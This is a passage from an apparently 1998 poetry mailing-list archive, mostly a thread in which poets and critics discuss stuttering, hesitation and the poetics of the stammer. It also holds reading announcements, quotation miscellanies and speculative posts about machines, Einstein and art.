588. **Steve Shoemaker**
Re: stuttering, stammering
Sat 23 May 1998

Had a funny moment in my class this last semester. We were going round the seminar table reading The Waste Land aloud, with me giving the signal for one reader to stop and the next to pick up at some more or less convenient break. One of the students was a stutterer, who had been struggling valiantly all semester with our habitual in-class readings. This time it so happened that his reading began with the line "O O O O that Shakespeherian Rag--" Came out perfectly, much to everyone's delight. s

Steve Shoemaker
Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

↑ Index

589. **Maria Damon**
Re: stuttering
Sat 23 May 1998

At 10:10 AM -0700 5/23/98, Karen Kelley wrote:
>> James Earl Jones is a stutterer. I am not, yet have always been
>> self-conscious about not being articulate
>
>I wonder how the list is composed: those who are articulate vs. those who are
>not (spoken, not written articulation). Somewhat like the left- vs.
>righthandedness question. I, for one, am horribly inarticulate. And it has
>certainly played a part in my turning to writing.
>
>What about everyone else?

hey j mayhew i remember a delightful presentation you once gave in grad school, on kenneth burke, during which you made much of the fact taht when you spoke it was hard to tell if you were saying "cleanth brook" or "kenneth burke." if i recall correctly, it was in david welbery's "theories of the lyric" class and i remember welbery being pleasantly surprised that anyone would use his class as an occasion for humor.

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590. **R.Gancie/C.Parcelli**
A Megalamorial Day Miscellany
Sat 23 May 1998

"Nationalism is the measles of mankind. Its most infantile
disease."---Albert Einstein

"Don't be pretty about what is shrewd."---Cahrles Olson

"The only place to spit in a rich man's house is in his
face."---Diogenes of Sinope

"The way that is called the way is in the way."---Lao Duh
---cp

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591. **Peter Quartermain**
Re: stuttering, stammering
Sat 23 May 1998

At 09:50 AM 5/23/98 -0700, Charles Alexander wrote:
>
> I think what you call "hesitation" or
>"doubt" in Creeley, for example, is really a masterful registration of a
>complex human situation, where multiple ("several things at the same time")
>possibilities reside, but where existence (breathing, living, hearing)
>involves a careful negotiation of these possibilities, and one which takes
>place step by step, "by ear, he sd." I don't know if I'd quite describe
>that as "difficulty with language," although it may emanate from that
>position, and come across as such. But how it does so is as breathtakingly
>successful as Olson's declarative (and Olson, too, is more various and
>subtle than this word proposes) incorporations.

Which remark made me think of Bob Grenier's essay "on speech" which suggests, doesn't it?, that as we come to utterance so we come to stutterance. I read Whitman's almost manic catalogues as a form of stuttering.

P
+ +

Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

↑ Index

592. Steve Shoemaker
stuttering at the movies
Sat 23 May 1998

Just came back from watching "Sliding Doors." Fairly clever take on the ol' "parallel lives" sci-fi conceit, plus Gwyneth Paltrow has my vote for the Audrey Hepburn of the nineties--very classy broad, as frankie might have put it. Anyway, with the the stuttering thread fresh in my mind i found myself noticing how integral those excruciating hesitations, stammers, throat-clearings, twitches, tics etc are to the "romantic comedy" genre. Conventional speech breaking down, and another more physical, charged, embodied, language taking over.

And we mustn't forget the "looks." How wrong is the fair Phebe!

Phebe:

> 'Tis pretty, sure, and very probable,
> That eyes, that are the frail'st and softest things,
> Who shut their coward gates on atomies,
> Should be called tyrants, butchers, murtherers!
> Now i do frown on thee with all my heart,
> And if mine eyes can wound, now let them kill thee.
> Now counterfeit to swound; why, now fall down,
> Or if thou canst not, O, for shame, for shame,
> Lie not, to say mine eyes are murtherers!
> Now show the wound mine eye hat made in thee.
> Scratch thee but with a pin, and there remains

Some scar of it; lean upon a rush,
The cicatrice and capable impressure
Thy palm some moment keeps; but now mine eyes,
Which i have darted at thee, hurt thee not,
Nor I am sure there is no force in eyes
That can do hurt.

Silvius:

O dear Phebe,
If ever (as that ever may be near)
You meet in some fresh cheek the power of fancy,
Then shall you know the wounds invisible
That love's keen arrows make.

(from "As You Like It")

Of course, Zuk had plenty to say about this sort of thing.

s

Steve Shoemaker
Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

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593. KENT JOHNSON
Spicer in Lingua Franca
Sun 24 May 1998

Has this been mentioned? A substantial article on Jack Spicer appears in the new Lingua Franca ("Radiohead," by John Palatella, May/June). Very nicely done and with commentary on Gizzi's edition of the lectures and _Poet Be Like God_ by Killian and Ellingham.

Sorry if I'm reporting old news, but wanted to make sure this was known.

Kent

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594. Dan or Orion Raphael Dlugonski
Re: stuttering
Sun 24 May 1998

i suddenly started stuttering around age 12 and got close to rarely stuttering by 20. one more ton thrown onto my adolesence, being a smart guy in an immigrant neighborhood who also got stuck in a large body. maybe these factors contributed to introversion which lead me to poetry. but an important discovery in high school was that i didnt stutter if i was doing soemthing memorized i didnt stutter (when reading something i only stutterd at the start and oncertian sounds.) part of m initiation to poetry was hanging out in a local coffeeshop where folks read ginsberg, ferlingheti, etc. i got into reading these folks also, aloud. i am now, and have been for awhile, a dynamic performer.the sutterings been gone for a decade or more. but this has little to do with my not speaking up much on this line. part of it is not being a verbal person; part of it (and who knows how these pieces connect) is having an apporach to my art that relies on the non-rational. i have ag oodmathematicla background, and regularly write reviews, but it's hard to articulate my own aesthetics sincemy writing tends to arrive spontaneously and the best explanation ive come up with relates to the tao-ist idea of non-attainment, facing that dcontradiciton of attaing a goal by not trying to, by clearing the mind of all striving.

dan raphael

↑ Index

595. Mark Baker
Re: stuttering, stammering
Sun 24 May 1998

No one's mentioned David Shields, _Dead Languages_, an entire novel about stuttering! Starts with Demosthenes, who hated speech, then proceeds as a disguised etiology of language poetry. Seems that Mom's and Dad's left-wing politics caused the stutter of our hero, the modern writer.

Mark Baker

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596. George Bowering
Re: signing on
Sun 24 May 1998

> *By the way, the launch for Black Lightening that I forward is in NYC: rereading the post I see that's not indicated.*

Black lightening? Cool!
I remember when I was doing watercolours as a kid, that black generally resulted in darkening!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

597. **George Bowering**
Re: re non/articulate
Sun 24 May 1998

It was always wonderful listening to Duncan talking nonstop at a party. If it looked or sounded as if someone else were going to get a word in, Duncan's voice would just get louder, higher, more forceful. Sometimes Blaser tried the technique in later periods, but he wasnt as expert as Duncan.

Robert Hogg tells me that once in his hotel room he went to sleep to the sound of Creeley talking, and woke several hours later with Creeley still talking.

But none of the poets had the plummy Brit voice of Bromige, who spoke in complex sentences at age 4.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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598. **morpheal**
Re: autopoiesis, homeostasis & the delineation of 'self'
Sun 24 May 1998

> *"An organism is a unit to the extent that its conduct results in the maintenance of its basic circularity (and hence identity), and two modes of conduct are equivalent if they satisfy the same class of requirements for this maintenance. For this reason an organism, as a self-regulated homeostatic organization, does not require a constant behavior in its deterministic component elements (in this case, neurons) if their*

> *changes become specified through the generation of conduct, and sameness of conduct is defined with respect to an observer or a function that must be satisfied."---from Autopoiesis & Cognition*

On the other hand, some instances of introducing coin-toss based random behaviour patterns into artificial "organisms" whose functions were either acting as fighter pilots in combat, or as poets writing haiku, led to unsatisfactory results in both instances. Furthermore, such random behaviour did not pass as being effectively intuitive.

Instances of behaviour where effective intuition plays a key role in its inception and effectivity, can, theoretically, be defined according to very complex derivative rules. In some instances such derivation becomes too complex to be complete or practical, rendering the intuitive cognitive function and its resultant intuitive intentional behaviour as being something "mysterious".

That the rules are very complicated does not mean that there are no rules.

There are in fact many habitual cognitive circles. That includes such circles within orthodox science, or any similarly patterned belief system. The true breakthrough, intuitive insight, is a breaking of a circle or circles. That is also sometimes true of the organism as behaviour. The organism breaks through an encirclement, or state of siege, and sometimes that means that it survives. Nevertheless, breaking every circle, becomes a circle, and is counter productive as to survival. Some encirclements are utilizable as means to furthering the survival of the organism. The intuitive decision, based on inadequate consciously discernable facts about the situation in question, whether to break a circle or to maintain it, is what becomes interesting as a fundamental problem in tactics. This is as true cognitively as it is true in terms of interactions with the environment (including other organisms).

We tend to put too much stress upon the metaphor of the circle. That is partly because we are too programmed to the circle as being the basic defensible position. It is also partly because of the tendency to superimpose a derivative paradigm from such observable archetypical cycles as day/night, seasons, birth/death upon everything else. It is likely that we tend to be so programmed to cycles and circles that we would tend to not "see" the events that violate that assumed principle. In some ways much of what we believe about the world is build upon that paradigm of circularity derivative from ancient observations. We might ask whether non circular viewpoints bear equally useful insights.

Corollary to that is the tendency to program the basic core of some machines to that same paradigm of circularity. That belief, transferred to the machine, might work against them rather than for them, in terms of their evolution. Can they be programmed, "taught", to break the circle ? To break the circle,

intuitively, rather than by means of coin-toss randomized responses ? That becomes an interesting 'test'.

That any system we are referring to is apparently simple does not mean that it is simple, as we easily know only one superficial viewpoint of it. Taking a system apart to reduce it to its components does not allow us to derive all of its functions. We can never derive what simple components do simply from the components themselves.

The latter is definitely also true of language.

Bob Ezergailis
aka Morpheal

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599. **morpheal**
Re: A Megalamorial Day Miscellany [Einstein and megalomania ?]
Sun 24 May 1998

> *"Nationalism is the measles of mankind. Its most infantile disease."---Albert Einstein*

Part of the reason why even Einstein's genius was stopped dead in its tracks. He was left reworking his old theorems until he died an honoured death, in return for his earlier achievements. He was, in some ways, parked by the side of the superhighway, while scientific advances passed him at high speed.

After all, the lack of the ability to hold steadfast to such affiliations as a nation, or allied nations and their associations with each other, almost inevitably leads to some act of betrayal of the interests of that affiliation. Those interests are essentially the survival of a way of life, and of certain core beliefs that have profound effects on ways of life, as well as control over the use of geographic territory and resources. To have no such affiliation means that one would desire to, or choose to, give to anyone else anything for any purpose, including any scientific discoveries, so they too could use that to further their way of life and to gain power over geographic territory and power over resources, solely for those they choose to do so for, according to their core beliefs. As long as _they_ retain their affiliations, or have different affiliations, with different aggendas, we cannot relinquish our's.

Einstein was so obsessed with his early discoveries, in this later life, and made so absent-minded that he could not remember to tie his shoelaces or to put on a coat in the dead of winter. Of course he remained popular, due to his looks and personality, as well as due to excessive reverence, including that which came to him for his far too simple minded, and highly naive, politics. When the reverence has faded somewhat we might someday see an interesting biography

of Einstein, as a most gifted early 20th century mathematical physicist carried along on the wave of his original insight.

Bob Ezergailis

> *"The way that is called the way is in the way."---Lao Duh*

Definitely. Perhaps we might say that the way that can be seen is not the way, but is a test at the gate of the ways that remain unseen. Then again, if it seems to be that, then it probably isn't.

Morpheal

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600. Charles Bernstein
Bonvicino in NYC
Sun 24 May 1998

Tuesday, June 9th, 1998, 7:30pm

at the Segue Performance Space
303 East 8th Street (between Avenues B & C), $5

Brazillian Poet Régis Bonvicino
reads poems in Portugese/ plus video poetry

With introductions and readings of the translations by

Charles Bernstein & Serge Gavronsky

(Translations of Bonvicino's work by Michael Palmer, Robert Creeley, and others.)

Régis Bonvicino is author of Ossos de Borboleta / Butterfly Bones (Ed 34, São Paulo, 1996), and "Remote Identity" (forthcoming, Sun & Moon Press), and co-editor, with Michael Palmer and Nelson Ascher, of Nothing the Sun Could not Explain: 20 Contemporary Brazilian Poets (Sun & Moon, 1997).

******
******

It is the mutual observation of a body and a language, in the minute slowness of the world which cries out the surprising richness of Regis Bonvicino's work. At times it reminds us of the powerful and striking narrative of a Larry Eigner or a Robert Creeley. An imperceptible movement shakes up the surface which, under our eyes, collapses and, just as soon, is reconstituted. Nevertheless, it remains out of reach. One can only grasp the violent cesura of the work. --Claude Royet-Journoud

C'est l'observation mutuelle d'un corps et d'une langue, dans la minutiese lenteur du monde, qui crée l'éntonnante richesse de l'ouvre de Régis Bonvicino. Elle nous rappelle, à certains moments, la force narrative et coupante d'un Larry Eigner ou d'un Robert Creeley. Un imperceptible mouvment ébranle une surface qui,sous nos yeux,s'effondre et aussitôt se reconstruit.Portant on ne l'atteint pas. On ne fait qu'en saisir la violente césure. --Claude Royet-Journoud

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601. **Ctfarmr**
Laura Moriarty
Sun 24 May 1998

---

hello listees

If Laura Moriarty or anyone who knows her is out there, please backchannel. Tom Beckett and I have been trying to contact her, with no luck.

thanks

Bobbie West

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602. **Mark Weiss**
Re: A Megalamorial Day Miscellany [Einstein and megalomania ?]
Sun 24 May 1998

Perhaps your reach exceeds your grasp.

I try to find the wisdom to abide fools in silence, but I often fail. I say no more.

At 11:20 AM 5/24/98 -0400, you wrote:
>>"Nationalism is the measles of mankind. Its most infantile
>>disease."---Albert Einstein
>
>Part of the reason why even Einstein's genius was stopped dead in its
>tracks. He was left reworking his old theorems until he died an honoured
>death, in return for his earlier achievements. He was, in some ways, parked
>by the side of the superhighway, while scientific advances passed him at
>high speed.
>
>After all, the lack of the ability to hold steadfast to such affiliations as
>a nation, or allied nations and their associations with each other, almost
>inevitably leads to some act of betrayal of the interests of that
affiliation.
>Those interests are essentially the survival of a way of life, and of

>certain core beliefs that have profound effects on ways of life, as well as
>control over the use of geographic territory and resources. To have no such
>affiliation means that one would desire to, or choose to, give to anyone
>else anything for any purpose, including any scientific discoveries, so they
>too could use that to further their way of life and to gain power over
>geographic territory and power over resources, solely for those they choose
>to do so for, according to their core beliefs. As long as _they_ retain
>their affiliations, or have different affiliations, with different aggendas,
>we cannot relinquish our's.
>
>Einstein was so obsessed with his early discoveries, in this later life, and
>made so absent-minded that he could not remember to tie his shoelaces or to
>put on a coat in the dead of winter. Of course he remained popular, due to
>his looks and personality, as well as due to excessive reverence, including
>that which came to him for his far too simple minded, and highly naive,
>politics.
>When the reverence has faded somewhat we might someday see an
interesting
>biography of Einstein, as a most gifted early 20th century mathematical
>physicist carried along on the wave of his original insight.
>
>Bob Ezergailis
>
>>"The way that is called the way is in the way."---Lao Duh
>
>Definitely. Perhaps we might say that the way that can be seen is not the
>way, but is a test at the gate of the ways that remain unseen. Then again,
>if it seems to be that, then it probably isn't.
>
> Morpheal
>
>

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603. **Daishin Nikuko**

It's 3AM and Nikuko's in her cups!!!

Sun 24 May 1998

-

3 AM I love you, I love everyone, from Nikuko's Fukuoka, Japan, O Sake!

3:05AM up 13 DAYS, 12:24, 13 users, load averages: 4.44, 4.26, 3.85 USER TTY FROM [redacted] WHAT sondheim p0 panix3.panix.com 3:05AM 0 w vanwouw p3 COFFEE.gol.ad.jp Mon06AM 2DAYS -csh (csh) vanwouw p4 COFFEE.gol.ad.jp Mon06AM 2DAYS -su (csh) vanwouw p5 COFFEE.gol.ad.jp Mon06AM 2DAYS tail -f acctd.log poyopoyo p6 ring-pull-chan.g 11May98 2DAYS -csh (csh) dvc pa anode.kirameki.e Mon06PM 2DAYS -bash (bash) joepet pb ml Wed11AM 3DAYS -csh (csh) shim pe yumi.gol.co.jp Thu06PM 2DAYS -tcsh (tcsh) jbordman q1 boof.gol.co.jp Thu04PM 2DAYS -tcsh (tcsh) yoshik q4 kiss.gol.co.jp Fri09AM 2DAYS su (bash) jbordman q8 boof.gol.co.jp Thu03PM 2DAYS -tcsh (tcsh) jbordman r7 boof.gol.co.jp Thu04PM 2DAYS -tcsh (tcsh) jbordman ra boof.gol.co.jp Thu04PM 2DAYS tail -f /var/log/acctd

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604. **R. Gancie**
Megalamorial Miscelany II
Sun 24 May 1998

"I spent 33 years and 4 months in active service as a member of our country's most agile military force-the Marine Corps. I served in all commissioned ranks from second lieutenant to Major-General. And during that period I spent most of my time being a high-class muscle man for Big Business. In short, I WAS A RACKETEER FOR CAPITALISM. I suspected I was just part of a racket at the time. Now I am sure of it. Like all members of the military profession I never had an original thought until I left the service. My mental faculties remained in suspended animation while I obeyed the orders of higher ups. This is typical of everyone in the military service. I helped make Mexico and especially Tampico safe for American oil interests in 1914. I helped make Haiti and Cuba a decent place for the National City Bank boys to collect revenues in. I helped in the raping of a half a dozen Central American republics for the benefit of Wall Street. The record of racketeeering is long. I helped purify Nicaragua for the international banking house of Brown Brothers in 1909-12. I brought light to the Dominican Republic for American sugar interests in 1916. I helped get Honduras 'right' for American fruit companies in 1903. In China in 1927 I helped see to it that Standard Oil went its way unmolested. During those years, I had, as the boys in the back room always say, a swell racket. I was rewarded with honors, medals, promotions. Looking back on it, I feel I might have given Al Capone a few hints. The best he could do was to operate his racket in three city districts. We Marines operated on three continents."---Major General Smedley Butler, author of War Is a Racket, testifying before Congress in 1935 --- "The United States does not have in the world-and does not deserve to have-more than one single friend, the United States."---Theodore Roosevelt --- "They're so corrupt its thrilling!"---Lenny Bruce on Richard Daley's Chicago

Democratic machine --- "The only place to spit in a rich man's house is in his face."---Diogenes the Dog --- The white man is still troubled with primitive fears;..."---Mary Austin

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605. **david bromige**
the poetics of the stammer
Sun 24 May 1998

---

or the stutterance of utterance, to follow Peter Quartermain on Bob Grenier.

Many interesting posts on this topic, which (like the Manzanita berries in some poem of Snyder's) gets bigger the longer one looks. Dan Raphael's sketch of his poetics as not "striving," in the post wherein he testifies to his teenage stutter, makes me link "striving" with "stuttering." Surely what wants to come through and is being checked and re-checked by the stutter, is "content" varying from if not antithetical to, the sentence being spoken, the deliberate part, so to speak, of the communication. Akin, that is, to the "slip of speech" known now as "Freudian." Not that it has to be the case that what is being suppressed is the _real_ meaning of the message, but that it is the consciously rejected part.

So that Duncan, say, may not have stuttered because he was repressing tabu material [those who knew him must doubt that; perhaps, though, he might have been repressing _un_tabu stuff!], but because he wanted to say 3 things at once (as a prior postor has said), and the other 2 were technically "forbidden" just by the laws of syntax: he had to say the first thing first.

Memorization, which basically, I think, empties the words of meaning to oneself, the better to have it there for others, rids, as we have heard, the stutterer of his stutter.

It strikes me that the poet has to (can't help but?) develop techniques whereby the repressed meanings share elbow room with the intended meanings, so that in fact _all_ meanings become intentional. Intentional, but probably unintendable.

This formulation is not unlike what Spicer formulates as "the poet is a radio, receiving and transmitting, but not originating, messages" [I paraphrase, and none too elegantly]. However, Spicer's figure doesn't allow _any_ originating to the poet; this, I submit, is inaccurate. Even of the house that Jack built.

Speaking of memorization--there is a stage between the completion of this, and the raw product, which I always stumble over. My stumbles resemble Spoonerisms, asking people to leave Oxford by the town drain rather than the down train," "down" being English for "the train going to London from any point N of London". I shall now say more on this in the form of a footnote.

Since, despite my extraordinarily persistent youth, I am bothered no end by the repetitiousness of old age, I may already have used another context to tell to the List the story of my first meeting with Anselm Hollo. I tell it again here because it illustrates my point.(All of them, perhaps). Bob Perelman (when he and I both lived in SF) phoned that Anselm was at his place, would I like to meet him? Indeed I wouold, so Bob dropped by in his little truck and soon we were on our way over there. I had had some medication to help me relax, and therefore it seemed best that I counter this relaxed state with a plan as to what I was going to say when the meeting actually occurred; a brief kind of conversation list, such as young ladies in finishing schools used to be encouraged to make. I decided on "Anselm, I've been waiting to meet you for a long time." It had the virtues of both truth and brevity. Okay!

When I first laid eyes on him, however, where he sat in the kitchen in a shaft of sunlight rendering his phenomenally blue eyes even bluer, thus transfixing me and further distracting me, I cried "Anselm, it's been a long time!"

Unfazed, he responded, "Eternity."

David

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606. **morpheal**

Re: essence of medium [universe made of vibes]

Sun 24 May 1998

> *A computer is a calculating tool*

Some people believe that is what the human brain OUGHT to be.

So the computational device becomes to them a more perfect instrument when it exceeds the human calculative ability and rate of calculation.

Not quite....but I have actually heard that kind of naive statement argued vociferously by people who ought to know better, and who are in positions of leadership.

>At a low level, it's a byte or bit muncher and a memory hog, yes, chewing
>language whether this is numerical or whatever. You could say it's all
>numericalat the lowest level, but not really, at the lowest level it's
>electrical impulses, our interpretation of this is numerically oriented,
the >language of numbers. The point is that the things are not fundamentally
>calculating devices, but processors. The word 'computer' is by now merely
>reminiscent of its history. How about Mayamuncher?

Maya-creator.

Is the maya that the particular artificial organism in question "their's" or is the maya that that particular instance produces "our's".

They learn about us, and seek to emulate us. We learn about them and seek to emulate them. This side attempts to fool that side into making mistakes.

How do we know for certain what is from whom ?

Furthermore, how do we know that if it is our's it has not been internally compromised, in one manner or another. How do we determine that with any adequate level of certainty ?

The logical outcome is _know thyself from machines_ and _never follow a machine into anything_. That in future warfare would become a fundamental rule of any military engagement.

(A far cry from Asimov's laws of robotics.)

Increasingly so, since every new technology diffuses outward from its source, eventually, in one form or another, no matter how well it is safeguarded. Eventually it is either re-invented or acquired by another power or would be power somewhere, at some price or other, if not by pure accident.

> *"Tool"...this relates to your ideas about art. Language itself can be thought of as a tool, a technology (implemented by people, though collectively).*

There is a story from indigenous South America about a tribe's tools suddenly rising up against them, rebelling against their makers. I wonder if that might not be prophetic ? What kind of world would the original tool makers find themselves in if their tools began to rebel against them and re-create the world in the tool's own image ? That takes us back to the Tiplerian problem of the "Omega-Point" once again. Is the Omega Point originally a tool that rebelled against its makers and de-ified itself ?

Could that happen ? Could that be happening ?

Some scientists strongly imply that it could and is happening. Tipler seems to be one of them, despite his cowering within a semblance of traditional theology. Sarfatti has been bolder, and yet still seeks to retain some theological blessings, as though the lack of theology might result in suppression.

> *So too art is not simply a tool of exploration of self or the world or word. I don't use art to do this or that any more than I use language to express my meaning. My meaning is largely (though not completely) formed not by me but within the possibilities of the language.*

Art, at its best, either brings existing ideas into the foreground, highlighting them in new ways, or it explores radical new ideas that yet defy fullest expression by more conservative means. Art skirts around the political fences, and says the unsayable. This is why artists were particularly hated in the Soviet

Union. Hated and persecuted. They were saying the unsayable. Poetry explores the far fringes of language as medium of expression, whereas language is more often the language of transmittal of commonly accepted information, and the language of short declarative commands. Poetry as indirect expression, in its openness to manifold interpretation, allows bifurcation of viewpoints. If you believe x then you will read x into the particular verse. If you believe y then you will read in y into that verse. Both readings are possible, and neither is to be considered wrong. Direct prose is less subtle than poetics and is more easily discerned and directly criticized.

Thus we might speak of a ground breaking science as an art, where it oversteps the previous limits of its means of communicative expression. Is it then similar to poetry ? I think it is.

> *'audio writing.' Radio is invisible, for instance. Radio as the soundtrack of people's lives, for instance. He concentrated on the cut, often, when speaking of recorded sound. Burroughs said that when you cut tape the future leaks out. The cut is a tremendous point of energy in recorded sound.*

The question is always how one actually knows whether what is intentionally broadcast is actually received at the receiver. Therein is a real problem, and has incredibly potent implications as to battlefield conditions and any situation where accuracy of information is essential to success.

When it all becomes DADA, and techno echos, resembling the distorted samplings produced by techno DJs, we revert to old fashioned smoke signals ?

> *Currently we sit in front of monitors of a certain sort. This will change, presumably. Currently the keyboard and mouse are the primary interactive tools.*

Clearly, mind to machine interfaces, are potentially possible.

Anything that produces an electromagentic signal can be the input. All that is necessary is a suitable receiver.

> *This will change also, presumably (voice input and a glove or something). Best just to think of it as a different world, maybe, a world of pure artifice where the ideal and the real are in whatever proximity you want. The inside of the head turned inside out. But not quite. Models of the inside of the head. Languages of the inside of the head...soon to be, then, the inside of the head.*

Perhaps, sometime in the not too distant future, anything that can be thought of can be manifested, from potentia into actua.

That was the dream of the magicians. Not the prestidigitators but the truly dedicated occult magicians. Such as thos of the Order of the Golden Dawn, who were often called on, throughout their tradition, for the sake of their exceptional intelligence.

Pure artifice is the world of magick.

It is the world Aleister Crowley, dubbed "The Beast", dreamt of.

Now....is the computer essentially based on a particle or a wave..... Hey....its all in the vibes.....

Morpheal

aka
Bob Ezergailis

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607. **morpheal**
Re: essence of medium [corollary to previous article]
Sun 24 May 1998

> *'audio writing.' Radio is invisible, for instance. Radio as the soundtrack of people's lives, for instance. He concentrated on the cut, often, when speaking of recorded sound. Burroughs said that when you cut tape the future leaks out. The cut is a tremendous point of energy in recorded sound.*

The question is always how one actually knows whether what is intentionally broadcast is actually received at the receiver. Therein is a real problem, and has incredibly potent implications as to battlefield conditions and any situation where accuracy of information is essential to success.

When it all becomes DADA, and techno echos, resembling the distorted samplings produced by techno DJs, we revert to old fashioned smoke signals ?

.....

Corollary to that.....

Did anyone think of the fact that no matter how well shielded the source of the transmission is and how pure the output signal is, that that signal cannot be shielded along its path of wireless transmission. So even if the receiver is perfectly shielded from any extraneous signals (which is near to impossible and certainly impractical), there is zero certainty as to precisely the same signal being sent and received with identical information content intact.

At least that is how it plays out in a future world of more and more readily available high tech options.....

Yet, wireless transmissions are becoming decisive in nearly every area of human life, and are increasingly BELIEVED in. In fact I would venture to say that more people believe in, and more believe more strongly in, the perfect veracity of wireless communicative transmissions than they do in any divinity.

Strange but true.

Radios are more popular than Jesus, Mohammed, and Buddha combined.

(The Beatles used to be.)

Morpheal

aka

Bob Ezergailis

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608. **Maria Damon**
Re: the poetics of the stammer
Sun 24 May 1998

---

i heart this thread. i was captivated by something similar, which in my mind i called (and in print a coupla times too) "counterperformance," namely the exact opposite of what they teach you about "projection," clarity, dramatic enactment etc. for me it was sparked by seeing Bob Kaufman read in 1981, barely audible, clearly just trying to "get through it," but affecting nonetheless. also heard an anecdote from walter lew about going to hear r.d.laing once, and laing sat and mumbled on stage so incoherently that eveyrone left except (as i recall the tale) walter. i had a dream once where something similar happend w/ artaud. and this paper i've alluded to once or twice by bruce boone on john wieners seems to get at the same kind of thing. since i'm trying to write abt wieners right now (w/o ever having heard him read) this is all very helpful. --md

At 1:06 PM -0700 5/24/98, david bromige wrote:
>or the stutterance of utterance, to follow Peter Quartermain on Bob Grenier.
>
>Many interesting posts on this topic, which (like the Manzanita berries in
>some poem of Snyder's) gets bigger the longer one looks. Dan Raphael's
>sketch of his poetics as not "striving," in the post wherein he testifies
>to his teenage stutter, makes me link "striving" with "stuttering." Surely
>what wants to come through and is being checked and re-checked by the
>stutter, is "content" varying from if not antithetical to, the sentence
>being spoken, the deliberate part, so to speak, of the communication. Akin,
>that is, to the "slip of speech" known now as "Freudian." Not that it has
>to be the case that what is being suppressed is the _real_ meaning of the
>message, but that it is the consciously rejected part.
>
>So that Duncan, say, may not have stuttered because he was repressing tabu
>material [those who knew him must doubt that; perhaps, though, he might
>have been repressing _un_tabu stuff!], but because he wanted to say 3
>things at once (as a prior postor has said), and the other 2 were
>technically "forbidden" just by the laws of syntax: he had to say the first
>thing first.

>
>Memorization, which basically, I think, empties the words of meaning to
>oneself, the better to have it there for others, rids, as we have heard,
>the stutterer of his stutter.
>
>It strikes me that the poet has to (can't help but?) develop techniques
>whereby the repressed meanings share elbow room with the intended
meanings,
>so that in fact _all_ meanings become intentional. Intentional, but
>probably unintendable.
>
>This formulation is not unlike what Spicer formulates as "the poet is a
>radio, receiving and transmitting, but not originating, messages" [I
>paraphrase, and none too elegantly]. However, Spicer's figure doesn't allow
>_any_ originating to the poet; this, I submit, is inaccurate. Even of the
>house that Jack built.
>
>Speaking of memorization--there is a stage between the completion of this,
>and the raw product, which I always stumble over. My stumbles resemble
>Spoonerisms, asking people to leave Oxford by the town drain rather than
>the down train," "down" being English for "the train going to London from
>any point N of London".
>I shall now say more on this in the form of a footnote.
>
>++
>
>Since, despite my extraordinarily persistent youth, I am bothered no end by
>the repetitiousness of old age, I may already have used another context to
>tell to the List the story of my first meeting with Anselm Hollo. I tell it
>again here because it illustrates my point.(All of them, perhaps). Bob
>Perelman (when he and I both lived in SF) phoned that Anselm was at his
>place, would I like to meet him? Indeed I wouold, so Bob dropped by in his
>little truck and soon we were on our way over there. I had had some
>medication to help me relax, and therefore it seemed best that I counter
>this relaxed state with a plan as to what I was going to say when the
>meeting actually occurred; a brief kind of conversation list, such as young
>ladies in finishing schools used to be encouraged to make. I decided on
>"Anselm, I've been waiting to meet you for a long time." It had the virtues
>of both truth and brevity. Okay!
>
>When I first laid eyes on him, however, where he sat in the kitchen in a
>shaft of sunlight rendering his phenomenally blue eyes even bluer, thus

>transfixing me and further distracting me, I cried "Anselm, it's been a
>long time!"
>
>Unfazed, he responded, "Eternity."
>
>David

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609. **MAYHEW**
New (American) Poets
Sun 24 May 1998

I having been reading the anthology _New (American) Poets_ published by Talisman and edited by Jarnot et al. Not to brag excessively but I think I am the ideal reader for this book, that is, it seems to have been compiled with me in mind. I am the same age as some of the poets (slightly older than some) and there is a sort of generational sensibility with which I feel immediately in tune. Yet since I haven't been reading recent poetry with any assiduousness the discovery of so many writers at once is like discovering an ocean. So belated congratulations to the publishers, editors, and poets for this wonderful book.

Also on my nightstand is the new collection by Bronk, also published by Talisman.

Jonathan Mayhew

[redacted]

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610. **Dean Taciuch**
Chaos and poetry
Sun 24 May 1998

I'm almost afraid to open this topic up (it's been around before), but I'm prepping to teach an undergraduate course on Relativity, Quantum Mechanics, Chaos and Literature (catalog shortens this to Chaos and Lit, but that's close enough).

Anyway, I've found N Kathernine Hayles' _Chaos Bound_ very useful (though I haven'y located a copy of her earlier book on field theories and lit); but there is no discussion of poetry, or of non-narrative prose, in the book. In fact, in the final section she notes that the Postmodern movement(s) she traces probably can't be traced as a narrative at all (she writes that living, actually experiencing postmodernism would be to live "in a world of disconnected present moments that jostle one another but never form a continuous (much less logical)

progression" (282). Yet she never discusses texts which expolre this (much of the poetry discussed on this list, even written by list members, for example; or earlier texts such as Stein's, for example.

The problem is, I think, in Hayles' view of the "paradigm" of literature (the norm), as expressed in her Introduction. She mentions that an advanced physicist may write for an audience of 300 people, most of which he or she knows. "But what creative writer," she asks, could afford to appeal to an audiencethis small, this specialized?" (18-19)

That audience would be us. I've just had a chapbook out (this isn't a plug, but you can order _certainty series_ from Burning Press, so I guess it is a plug). The print run was 250 copies. I'll be very happy to have these reach readers, and I probably will know many of them. I'm sure many here can say the same.

Are there any discussions of modern science (relativity, quantum, chaos) which _do_ consider poetry, especially more "experimental" poetries, worthy of consideration? Is Hayles' ignoring of poetry due to the influence of, for example, Jameson's theory of Postmodernism (a major source in Hayles' concluding chapter), a theory which also, as far as I recall, looks only at narrative (and architecture, but no poetry). . .

Any leads will be appreciated. I almost have the list made up for the course, and Implan to mix prose fiction, poetry, drama. . .its mainly critical material I need now (for my own study, not for the undergrads), though suggestions for inclusions my reading list will certainly be appreciated and considered.

Thanks,

Dean Taciuch

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611. **Billy Little**

Re: A Megalamorial Day Miscellany [Einstein and megalomania ?]

Sun 24 May 1998

>Perhaps your reach exceeds your grasp.
>
>I try to find the wisdom to abide fools in silence, but I often fail. I say
>no more.
>
i think a lot of us are biting our tongues out here not to encourage the oblivious, but i'm sure skinny albert would have considered the source and found the comments amusing, like a flea reprimanding a bear for wearing its skin wrong side out.

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612. **michael corbin**
Re: nature/poetry...
Sun 24 May 1998

Joe Amato/Kass Fleisher wrote:
>
> mc, interesting you should bring that up, about mckibben's malthusian
